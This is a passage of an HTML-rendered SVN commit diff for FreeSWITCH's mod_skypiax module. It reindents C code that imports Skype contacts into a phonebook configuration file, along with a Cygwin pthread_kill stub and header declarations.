+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;!\n&quot;);
+                } else {
+                        NOTICA(&quot;Opened '%s' for writing \n&quot;, SKYPIAX_P_LOG, fn);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;!\n&quot;);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;! Automatically generated configuration file\n&quot;);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;! Filename: %s (%s)\n&quot;, configfile, fn);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;! Creation Date: %s&quot;, date);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;! Generated by: %s, %d\n&quot;, __FILE__, __LINE__);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;!\n&quot;);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;[general]\n\n&quot;);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;[default]\n&quot;);
+                }
</ins><span class="cx"> 
</span><span class="cx">   /*******************************************************************************************/
</span><del>-    //if (fromskype) {
-    if (p-&gt;skype) {
-      WARNINGA
-        (&quot;About to querying the Skype client 'Contacts', it may take some moments... Don't worry.\n&quot;,
-         SKYPIAX_P_LOG);
-      if (p-&gt;skype_thread != AST_PTHREADT_NULL) {
-        char msg_to_skype[1024];
</del><ins>+                //if (fromskype) {
+                if (p-&gt;skype) {
+                        WARNINGA(&quot;About to querying the Skype client 'Contacts', it may take some moments... Don't worry.\n&quot;, SKYPIAX_P_LOG);
+                        if (p-&gt;skype_thread != AST_PTHREADT_NULL) {
+                                char msg_to_skype[1024];
</ins><span class="cx"> 
</span><del>-        p-&gt;skype_friends[0] = '\0';
-        sprintf(msg_to_skype, &quot;#333 SEARCH FRIENDS&quot;);
-        if (skypiax_signaling_write(p, msg_to_skype) &lt; 0) {
-          return -1;
-        }
</del><ins>+                                p-&gt;skype_friends[0] = '\0';
+                                sprintf(msg_to_skype, &quot;#333 SEARCH FRIENDS&quot;);
+                                if (skypiax_signaling_write(p, msg_to_skype) &lt; 0) {
+                                        return -1;
+                                }
</ins><span class="cx"> 
</span><del>-        int friends_count = 0;
-        while (p-&gt;skype_friends[0] == '\0') {
-          /* FIXME needs a timeout, can't wait forever! 
-           * eg. when skype is running but not connected! */
-          usleep(100);
-          friends_count++;
-          if (friends_count &gt; 20000) {
-            return -1;          /* FIXME */
-          }
-        }
</del><ins>+                                int friends_count = 0;
+                                while (p-&gt;skype_friends[0] == '\0') {
+                                        /* FIXME needs a timeout, can't wait forever! 
+                                         * eg. when skype is running but not connected! */
+                                        usleep(100);
+                                        friends_count++;
+                                        if (friends_count &gt; 20000) {
+                                                return -1;        /* FIXME */
+                                        }
+                                }
</ins><span class="cx"> 
</span><del>-      }
</del><ins>+                        }
</ins><span class="cx"> 
</span><del>-      if (p-&gt;skype_thread != AST_PTHREADT_NULL) {
-        char msg_to_skype[1024];
</del><ins>+                        if (p-&gt;skype_thread != AST_PTHREADT_NULL) {
+                                char msg_to_skype[1024];
</ins><span class="cx"> 
</span><del>-        if (p-&gt;skype_friends[0] != '\0') {
-          char *buf, *where;
-          char **stringp;
-          int skype_dir_file_written = 0;
</del><ins>+                                if (p-&gt;skype_friends[0] != '\0') {
+                                        char *buf, *where;
+                                        char **stringp;
+                                        int skype_dir_file_written = 0;
</ins><span class="cx"> 
</span><del>-          buf = p-&gt;skype_friends;
-          stringp = &amp;buf;
-          where = strsep(stringp, &quot;, &quot;);
-          while (where) {
-            if (where[0] != '\0') {
-              /*
-               * So, we have the Skype username (the HANDLE, I think is called).
-               * But we want to call the names we see in the Skype contact list
-               * So, let's check the DISPLAYNAME (the end user modified contact name)
-               * Then, we check the FULLNAME (that appears as it was the DISPLAYNAME 
-               * if the end user has not modify it)
-               * If we still have neither DISPLAYNAME nor FULLNAME, we'll use the 
-               * Skipe username (the HANDLE)
-               */
</del><ins>+                                        buf = p-&gt;skype_friends;
+                                        stringp = &amp;buf;
+                                        where = strsep(stringp, &quot;, &quot;);
+                                        while (where) {
+                                                if (where[0] != '\0') {
+                                                        /*
+                                                         * So, we have the Skype username (the HANDLE, I think is called).
+                                                         * But we want to call the names we see in the Skype contact list
+                                                         * So, let's check the DISPLAYNAME (the end user modified contact name)
+                                                         * Then, we check the FULLNAME (that appears as it was the DISPLAYNAME 
+                                                         * if the end user has not modify it)
+                                                         * If we still have neither DISPLAYNAME nor FULLNAME, we'll use the 
+                                                         * Skipe username (the HANDLE)
+                                                         */
</ins><span class="cx"> 
</span><del>-              p-&gt;skype_displayname[0] = '\0';
-              sprintf(msg_to_skype, &quot;#765 GET USER %s DISPLAYNAME&quot;, where);
-              skypiax_signaling_write(p, msg_to_skype);
-              int displayname_count = 0;
-              while (p-&gt;skype_displayname[0] == '\0') {
-                /* FIXME needs a timeout, can't wait forever! 
-                 * eg. when skype is running but not connected! */
-                usleep(100);
-                displayname_count++;
-                if (displayname_count &gt; 20000)
-                  return -1;    /* FIXME */
-              }
-              if (p-&gt;skype_displayname[0] != '\0') {
-                char *where2;
-                char sanitized[300];
</del><ins>+                                                        p-&gt;skype_displayname[0] = '\0';
+                                                        sprintf(msg_to_skype, &quot;#765 GET USER %s DISPLAYNAME&quot;, where);
+                                                        skypiax_signaling_write(p, msg_to_skype);
+                                                        int displayname_count = 0;
+                                                        while (p-&gt;skype_displayname[0] == '\0') {
+                                                                /* FIXME needs a timeout, can't wait forever! 
+                                                                 * eg. when skype is running but not connected! */
+                                                                usleep(100);
+                                                                displayname_count++;
+                                                                if (displayname_count &gt; 20000)
+                                                                        return -1;        /* FIXME */
+                                                        }
+                                                        if (p-&gt;skype_displayname[0] != '\0') {
+                                                                char *where2;
+                                                                char sanitized[300];
</ins><span class="cx"> 
</span><del>-                sanitized[0] = '\0';
</del><ins>+                                                                sanitized[0] = '\0';
</ins><span class="cx"> 
</span><del>-                where2 = strstr(p-&gt;skype_displayname, &quot;DISPLAYNAME &quot;);
-                if (where2) {
</del><ins>+                                                                where2 = strstr(p-&gt;skype_displayname, &quot;DISPLAYNAME &quot;);
+                                                                if (where2) {
</ins><span class="cx"> 
</span><del>-                  /* there can be some *smart* that makes a displayname 
-                   * that is different than first&lt;space&gt;last, */
-                  /* maybe initials, simbols, slashes, 
-                   * something smartish... let's check */
</del><ins>+                                                                        /* there can be some *smart* that makes a displayname 
+                                                                         * that is different than first&lt;space&gt;last, */
+                                                                        /* maybe initials, simbols, slashes, 
+                                                                         * something smartish... let's check */
</ins><span class="cx"> 
</span><del>-                  if (where2[12] != '\0') {
-                    int i = 12;
-                    int x = 0;
-                    int spaces = 0;
-                    int last_char_was_space = 0;
</del><ins>+                                                                        if (where2[12] != '\0') {
+                                                                                int i = 12;
+                                                                                int x = 0;
+                                                                                int spaces = 0;
+                                                                                int last_char_was_space = 0;
</ins><span class="cx"> 
</span><del>-                    for (i = 12; i &lt; strlen(where2) &amp;&amp; x &lt; 299; i++) {
-                      if (!isalnum(where2[i])) {
-                        if (!isblank(where2[i])) {
-                          /* bad char */
-                          continue;
-                        }
-                        /* is a space */
-                        if (last_char_was_space == 1)   /* do not write 2 consecutive spaces */
-                          continue;
-                        last_char_was_space = 1;
-                        sanitized[x] = ' ';
-                        x++;
-                        continue;
-                      }
-                      /* is alphanum */
-                      last_char_was_space = 0;
-                      sanitized[x] = where2[i];
-                      x++;
-                      continue;
-                    }
</del><ins>+                                                                                for (i = 12; i &lt; strlen(where2) &amp;&amp; x &lt; 299; i++) {
+                                                                                        if (!isalnum(where2[i])) {
+                                                                                                if (!isblank(where2[i])) {
+                                                                                                        /* bad char */
+                                                                                                        continue;
+                                                                                                }
+                                                                                                /* is a space */
+                                                                                                if (last_char_was_space == 1)        /* do not write 2 consecutive spaces */
+                                                                                                        continue;
+                                                                                                last_char_was_space = 1;
+                                                                                                sanitized[x] = ' ';
+                                                                                                x++;
+                                                                                                continue;
+                                                                                        }
+                                                                                        /* is alphanum */
+                                                                                        last_char_was_space = 0;
+                                                                                        sanitized[x] = where2[i];
+                                                                                        x++;
+                                                                                        continue;
+                                                                                }
</ins><span class="cx"> 
</span><del>-                    sanitized[x] = '\0';
-                    if (spaces == 0) {
-                    }
-                    DEBUGA_SKYPE(&quot;sanitized=|%s|, where=|%s|, where2=|%s|\n&quot;,
-                                 SKYPIAX_P_LOG, sanitized, where, &amp;where2[12]);
-                  }
</del><ins>+                                                                                sanitized[x] = '\0';
+                                                                                if (spaces == 0) {
+                                                                                }
+                                                                                DEBUGA_SKYPE(&quot;sanitized=|%s|, where=|%s|, where2=|%s|\n&quot;, SKYPIAX_P_LOG, sanitized, where, &amp;where2[12]);
+                                                                        }
</ins><span class="cx"> 
</span><del>-                  if (where2[12] != '\0') {
-                    skypiax_dir_entry_extension++;
-                    if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
-                      fprintf(p-&gt;phonebook_writing_fp,
-                              &quot;%s  =&gt; ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
-                              where, sanitized, &quot;no&quot;,
-                              p-&gt;skypiax_dir_entry_extension_prefix, &quot;2&quot;,
-                              skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
-                    } else {    /* is a skype name */
-                      fprintf(p-&gt;phonebook_writing_fp,
-                              &quot;%s  =&gt; ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
-                              where, sanitized, &quot;no&quot;,
-                              p-&gt;skypiax_dir_entry_extension_prefix, &quot;1&quot;,
-                              skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
-                    }
-                    skype_dir_file_written = 1;
</del><ins>+                                                                        if (where2[12] != '\0') {
+                                                                                skypiax_dir_entry_extension++;
+                                                                                if (where[0] == '+' || isdigit(where[0])) {        /* is a skypeout number */
+                                                                                        fprintf(p-&gt;phonebook_writing_fp,
+                                                                                                        &quot;%s  =&gt; ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
+                                                                                                        where, sanitized, &quot;no&quot;,
+                                                                                                        p-&gt;skypiax_dir_entry_extension_prefix, &quot;2&quot;, skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
+                                                                                } else {        /* is a skype name */
+                                                                                        fprintf(p-&gt;phonebook_writing_fp,
+                                                                                                        &quot;%s  =&gt; ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
+                                                                                                        where, sanitized, &quot;no&quot;,
+                                                                                                        p-&gt;skypiax_dir_entry_extension_prefix, &quot;1&quot;, skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
+                                                                                }
+                                                                                skype_dir_file_written = 1;
</ins><span class="cx"> 
</span><del>-                  }
-                }
-              }
-              p-&gt;skype_displayname[0] = '\0';
</del><ins>+                                                                        }
+                                                                }
+                                                        }
+                                                        p-&gt;skype_displayname[0] = '\0';
</ins><span class="cx"> 
</span><del>-              p-&gt;skype_fullname[0] = '\0';
-              sprintf(msg_to_skype, &quot;#222 GET USER %s FULLNAME&quot;, where);
-              skypiax_signaling_write(p, msg_to_skype);
-              int fullname_count = 0;
-              while (p-&gt;skype_fullname[0] == '\0') {
-                /* FIXME needs a timeout, can't wait forever! 
-                 * eg. when skype is running but not connected! */
-                usleep(100);
-                fullname_count++;
-                if (fullname_count &gt; 20000)
-                  return -1;    /* FIXME */
-              }
-              if (p-&gt;skype_fullname[0] != '\0') {
-                char *where2;
-                char sanitized[300];
</del><ins>+                                                        p-&gt;skype_fullname[0] = '\0';
+                                                        sprintf(msg_to_skype, &quot;#222 GET USER %s FULLNAME&quot;, where);
+                                                        skypiax_signaling_write(p, msg_to_skype);
+                                                        int fullname_count = 0;
+                                                        while (p-&gt;skype_fullname[0] == '\0') {
+                                                                /* FIXME needs a timeout, can't wait forever! 
+                                                                 * eg. when skype is running but not connected! */
+                                                                usleep(100);
+                                                                fullname_count++;
+                                                                if (fullname_count &gt; 20000)
+                                                                        return -1;        /* FIXME */
+                                                        }
+                                                        if (p-&gt;skype_fullname[0] != '\0') {
+                                                                char *where2;
+                                                                char sanitized[300];
</ins><span class="cx"> 
</span><del>-                where2 = strstr(p-&gt;skype_fullname, &quot;FULLNAME &quot;);
-                if (where2) {
</del><ins>+                                                                where2 = strstr(p-&gt;skype_fullname, &quot;FULLNAME &quot;);
+                                                                if (where2) {
</ins><span class="cx"> 
</span><del>-                  /* there can be some *smart* that makes a fullname 
-                   * that is different than first&lt;space&gt;last, */
-                  /* maybe initials, simbols, slashes,
-                   *  something smartish... let's check */
</del><ins>+                                                                        /* there can be some *smart* that makes a fullname 
+                                                                         * that is different than first&lt;space&gt;last, */
+                                                                        /* maybe initials, simbols, slashes,
+                                                                         *  something smartish... let's check */
</ins><span class="cx"> 
</span><del>-                  if (where2[9] != '\0') {
-                    int i = 9;
-                    int x = 0;
-                    int spaces = 0;
-                    int last_char_was_space = 0;
</del><ins>+                                                                        if (where2[9] != '\0') {
+                                                                                int i = 9;
+                                                                                int x = 0;
+                                                                                int spaces = 0;
+                                                                                int last_char_was_space = 0;
</ins><span class="cx"> 
</span><del>-                    for (i = 9; i &lt; strlen(where2) &amp;&amp; x &lt; 299; i++) {
-                      if (!isalnum(where2[i])) {
-                        if (!isblank(where2[i])) {
-                          /* bad char */
-                          continue;
-                        }
-                        /* is a space */
-                        if (last_char_was_space == 1)   /* do not write 2 consecutive spaces */
-                          continue;
-                        last_char_was_space = 1;
-                        sanitized[x] = ' ';
-                        x++;
-                        continue;
-                      }
-                      /* alphanum */
-                      last_char_was_space = 0;
-                      sanitized[x] = where2[i];
-                      x++;
-                      continue;
-                    }
</del><ins>+                                                                                for (i = 9; i &lt; strlen(where2) &amp;&amp; x &lt; 299; i++) {
+                                                                                        if (!isalnum(where2[i])) {
+                                                                                                if (!isblank(where2[i])) {
+                                                                                                        /* bad char */
+                                                                                                        continue;
+                                                                                                }
+                                                                                                /* is a space */
+                                                                                                if (last_char_was_space == 1)        /* do not write 2 consecutive spaces */
+                                                                                                        continue;
+                                                                                                last_char_was_space = 1;
+                                                                                                sanitized[x] = ' ';
+                                                                                                x++;
+                                                                                                continue;
+                                                                                        }
+                                                                                        /* alphanum */
+                                                                                        last_char_was_space = 0;
+                                                                                        sanitized[x] = where2[i];
+                                                                                        x++;
+                                                                                        continue;
+                                                                                }
</ins><span class="cx"> 
</span><del>-                    sanitized[x] = '\0';
-                    if (spaces == 0) {
-                    }
-                    DEBUGA_SKYPE(&quot;sanitized=|%s|, where=|%s|, where2=|%s|\n&quot;,
-                                 SKYPIAX_P_LOG, sanitized, where, &amp;where2[9]);
-                  }
</del><ins>+                                                                                sanitized[x] = '\0';
+                                                                                if (spaces == 0) {
+                                                                                }
+                                                                                DEBUGA_SKYPE(&quot;sanitized=|%s|, where=|%s|, where2=|%s|\n&quot;, SKYPIAX_P_LOG, sanitized, where, &amp;where2[9]);
+                                                                        }
</ins><span class="cx"> 
</span><del>-                  if (skype_dir_file_written == 0) {
-                    skypiax_dir_entry_extension++;
-                    if (where2[9] != '\0') {
-                      if (where[0] == '+' || isdigit(where[0])) {   /* is a skypeout number */
-                        fprintf(p-&gt;phonebook_writing_fp,
-                                &quot;%s  =&gt; ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
-                                where, sanitized, &quot;no&quot;,
-                                p-&gt;skypiax_dir_entry_extension_prefix, &quot;2&quot;,
-                                skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
-                      } else {  /* is a skype name */
-                        fprintf(p-&gt;phonebook_writing_fp,
-                                &quot;%s  =&gt; ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
-                                where, sanitized, &quot;no&quot;,
-                                p-&gt;skypiax_dir_entry_extension_prefix, &quot;1&quot;,
-                                skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
</del><ins>+                                                                        if (skype_dir_file_written == 0) {
+                                                                                skypiax_dir_entry_extension++;
+                                                                                if (where2[9] != '\0') {
+                                                                                        if (where[0] == '+' || isdigit(where[0])) {        /* is a skypeout number */
+                                                                                                fprintf(p-&gt;phonebook_writing_fp,
+                                                                                                                &quot;%s  =&gt; ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
+                                                                                                                where, sanitized, &quot;no&quot;,
+                                                                                                                p-&gt;skypiax_dir_entry_extension_prefix, &quot;2&quot;, skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
+                                                                                        } else {        /* is a skype name */
+                                                                                                fprintf(p-&gt;phonebook_writing_fp,
+                                                                                                                &quot;%s  =&gt; ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
+                                                                                                                where, sanitized, &quot;no&quot;,
+                                                                                                                p-&gt;skypiax_dir_entry_extension_prefix, &quot;1&quot;, skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
</ins><span class="cx"> 
</span><del>-                      }
</del><ins>+                                                                                        }
</ins><span class="cx"> 
</span><del>-                    } else {
-                      if (where[0] == '+' || isdigit(where[0])) {   /* is a skypeout number */
-                        fprintf(p-&gt;phonebook_writing_fp,
-                                &quot;%s  =&gt; ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
-                                where, where, &quot;no&quot;, p-&gt;skypiax_dir_entry_extension_prefix,
-                                &quot;2&quot;, skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
-                      } else {  /* is a skype name */
-                        fprintf(p-&gt;phonebook_writing_fp,
-                                &quot;%s  =&gt; ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
-                                where, where, &quot;no&quot;, p-&gt;skypiax_dir_entry_extension_prefix,
-                                &quot;1&quot;, skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
</del><ins>+                                                                                } else {
+                                                                                        if (where[0] == '+' || isdigit(where[0])) {        /* is a skypeout number */
+                                                                                                fprintf(p-&gt;phonebook_writing_fp,
+                                                                                                                &quot;%s  =&gt; ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
+                                                                                                                where, where, &quot;no&quot;, p-&gt;skypiax_dir_entry_extension_prefix,
+                                                                                                                &quot;2&quot;, skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
+                                                                                        } else {        /* is a skype name */
+                                                                                                fprintf(p-&gt;phonebook_writing_fp,
+                                                                                                                &quot;%s  =&gt; ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n&quot;,
+                                                                                                                where, where, &quot;no&quot;, p-&gt;skypiax_dir_entry_extension_prefix,
+                                                                                                                &quot;1&quot;, skypiax_dir_entry_extension, &quot;yes&quot;, &quot;not_specified&quot;);
</ins><span class="cx"> 
</span><del>-                      }
-                    }
-                  }
</del><ins>+                                                                                        }
+                                                                                }
+                                                                        }
</ins><span class="cx"> 
</span><del>-                  skype_dir_file_written = 0;
</del><ins>+                                                                        skype_dir_file_written = 0;
</ins><span class="cx"> 
</span><del>-                }
</del><ins>+                                                                }
</ins><span class="cx"> 
</span><del>-              }
-              p-&gt;skype_fullname[0] = '\0';
</del><ins>+                                                        }
+                                                        p-&gt;skype_fullname[0] = '\0';
</ins><span class="cx"> 
</span><del>-            }
-            where = strsep(stringp, &quot;, &quot;);
-          }
</del><ins>+                                                }
+                                                where = strsep(stringp, &quot;, &quot;);
+                                        }
</ins><span class="cx"> 
</span><del>-          p-&gt;skype_friends[0] = '\0';
-        }
-      }
-    } else {
</del><ins>+                                        p-&gt;skype_friends[0] = '\0';
+                                }
+                        }
+                } else {
</ins><span class="cx"> 
</span><del>-      ast_cli(fd,
-              &quot;Skype not configured on the 'current' console, not importing from Skype client!\n&quot;);
-    }
-    //}
</del><ins>+                        ast_cli(fd, &quot;Skype not configured on the 'current' console, not importing from Skype client!\n&quot;);
+                }
+                //}
</ins><span class="cx">   /*******************************************************************************************/
</span><span class="cx">   /*******************************************************************************************/
</span><del>-  } else {
-    ast_cli(fd, &quot;\n\nfailed to open the skypiax_dir.conf configuration file: %s\n&quot;, fn);
-    ERRORA(&quot;failed to open the skypiax_dir.conf configuration file: %s\n&quot;, SKYPIAX_P_LOG,
-           fn);
-    return RESULT_FAILURE;
-  }
</del><ins>+        } else {
+                ast_cli(fd, &quot;\n\nfailed to open the skypiax_dir.conf configuration file: %s\n&quot;, fn);
+                ERRORA(&quot;failed to open the skypiax_dir.conf configuration file: %s\n&quot;, SKYPIAX_P_LOG, fn);
+                return RESULT_FAILURE;
+        }
</ins><span class="cx"> 
</span><del>-  fclose(p-&gt;phonebook_writing_fp);
-  //skypiax_dir_create_extensions();
</del><ins>+        fclose(p-&gt;phonebook_writing_fp);
+        //skypiax_dir_create_extensions();
</ins><span class="cx"> 
</span><del>-  return RESULT_SUCCESS;
</del><ins>+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> private_t *find_available_skypiax_interface(void)
</span><span class="cx"> {
</span><del>-  private_t *p;
-  int found = 0;
</del><ins>+        private_t *p;
+        int found = 0;
</ins><span class="cx"> 
</span><del>-  /* lock the interfaces' list */
-  LOKKA(&amp;skypiax_iflock);
-  /* make a pointer to the first interface in the interfaces list */
-  p = skypiax_iflist;
-  /* Search for the requested interface and verify if is unowned */
-  while (p) {
-    if (!p-&gt;owner) {
-      DEBUGA_PBX(&quot;Interface is NOT OWNED by a channel\n&quot;, SKYPIAX_P_LOG);
-      found = 1;
-      /* we found the requested interface, bail out from the while loop */
-      break;
-    } else {
-      /* interface owned by a channel */
-      DEBUGA_PBX(&quot;Interface is OWNED by a channel\n&quot;, SKYPIAX_P_LOG);
-    }
-    /* not yet found, next please */
-    p = p-&gt;next;
-  }
</del><ins>+        /* lock the interfaces' list */
+        LOKKA(&amp;skypiax_iflock);
+        /* make a pointer to the first interface in the interfaces list */
+        p = skypiax_iflist;
+        /* Search for the requested interface and verify if is unowned */
+        while (p) {
+                if (!p-&gt;owner) {
+                        DEBUGA_PBX(&quot;Interface is NOT OWNED by a channel\n&quot;, SKYPIAX_P_LOG);
+                        found = 1;
+                        /* we found the requested interface, bail out from the while loop */
+                        break;
+                } else {
+                        /* interface owned by a channel */
+                        DEBUGA_PBX(&quot;Interface is OWNED by a channel\n&quot;, SKYPIAX_P_LOG);
+                }
+                /* not yet found, next please */
+                p = p-&gt;next;
+        }
</ins><span class="cx"> 
</span><del>-  /* lock the interfaces' list */
-  UNLOCKA(&amp;skypiax_iflock);
</del><ins>+        /* lock the interfaces' list */
+        UNLOCKA(&amp;skypiax_iflock);
</ins><span class="cx"> 
</span><del>-  if (found)
-    return p;
-  else
-    return NULL;
</del><ins>+        if (found)
+                return p;
+        else
+                return NULL;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /************************************************/
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxasteriskcyg_no_pthread_killc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -7,11 +7,11 @@
</span><span class="cx"> int cyg_no_pthreadkill(int thread, int sig)
</span><span class="cx"> {
</span><span class="cx"> #ifdef PRINTMSGCYG
</span><del>-  if (option_debug) {
-    printf
-      (&quot;\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n&quot;,
-       (unsigned long int) thread, sig);
-  }
</del><ins>+        if (option_debug) {
+                printf
+                        (&quot;\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n&quot;,
+                         (unsigned long int) thread, sig);
+        }
</ins><span class="cx"> #endif // PRINTMSGCYG
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxasteriskskypiaxh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -6,7 +6,7 @@
</span><span class="cx"> #define SKYPIAX_SVN_VERSION &quot;????NO_REVISION???&quot;
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-#include &lt;asterisk/version.h&gt;   /* needed here for conditional compilation on version.h */
</del><ins>+#include &lt;asterisk/version.h&gt;        /* needed here for conditional compilation on version.h */
</ins><span class="cx">   /* the following #defs are for LINUX */
</span><span class="cx"> #ifndef __CYGWIN__
</span><span class="cx"> #ifndef ASTERISK_VERSION_1_6
</span><span class="lines">@@ -40,7 +40,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* INCLUDES */
</span><span class="cx"> #ifdef ASTERISK_VERSION_1_6
</span><del>-#include &lt;asterisk.h&gt;           /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
</del><ins>+#include &lt;asterisk.h&gt;                        /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_6 */
</span><span class="cx"> #include &lt;unistd.h&gt;
</span><span class="cx"> #include &lt;termios.h&gt;
</span><span class="lines">@@ -102,10 +102,10 @@
</span><span class="cx"> #warning Please review Skypiax AST_DIGIT_ANYDIG
</span><span class="cx"> #endif
</span><span class="cx"> #ifndef _ASTERISK_H
</span><del>-#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
</del><ins>+#define AST_CONFIG_MAX_PATH 255        /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
</ins><span class="cx"> extern char ast_config_AST_CONFIG_DIR[AST_CONFIG_MAX_PATH];
</span><del>-int ast_register_atexit(void (*func) (void));   /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
-void ast_unregister_atexit(void (*func) (void));    /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
</del><ins>+int ast_register_atexit(void (*func) (void));        /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
+void ast_unregister_atexit(void (*func) (void));        /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> /* DEFINITIONS */
</span><span class="lines">@@ -118,7 +118,7 @@
</span><span class="cx">  * be representable in 16 bits to avoid overflows.
</span><span class="cx">  */
</span><span class="cx"> #define        BOOST_SCALE        (1&lt;&lt;9)
</span><del>-#define        BOOST_MAX        40          /* slightly less than 7 bits */
</del><ins>+#define        BOOST_MAX        40                        /* slightly less than 7 bits */
</ins><span class="cx"> /* call flow from the device */
</span><span class="cx"> #define         CALLFLOW_CALL_IDLE  AST_STATE_DOWN
</span><span class="cx"> #define         CALLFLOW_INCOMING_RING  AST_STATE_RING
</span><span class="lines">@@ -199,38 +199,38 @@
</span><span class="cx">  */
</span><span class="cx"> #ifdef WANT_SKYPE_X11
</span><span class="cx"> struct AsteriskHandles {
</span><del>-  Window skype_win;
-  Display *disp;
-  Window win;
-  int fdesc[2];
</del><ins>+        Window skype_win;
+        Display *disp;
+        Window win;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> #else /* WANT_SKYPE_X11 */
</span><span class="cx"> struct AsteriskHandles {
</span><del>-  HWND win32_hInit_MainWindowHandle;
-  HWND win32_hGlobal_SkypeAPIWindowHandle;
-  int fdesc[2];
</del><ins>+        HWND win32_hInit_MainWindowHandle;
+        HWND win32_hGlobal_SkypeAPIWindowHandle;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> #endif /* WANT_SKYPE_X11 */
</span><span class="cx"> 
</span><span class="cx"> #ifndef WIN32
</span><span class="cx"> struct SkypiaxHandles {
</span><del>-  Window skype_win;
-  Display *disp;
-  Window win;
-  int api_connected;
-  int fdesc[2];
</del><ins>+        Window skype_win;
+        Display *disp;
+        Window win;
+        int api_connected;
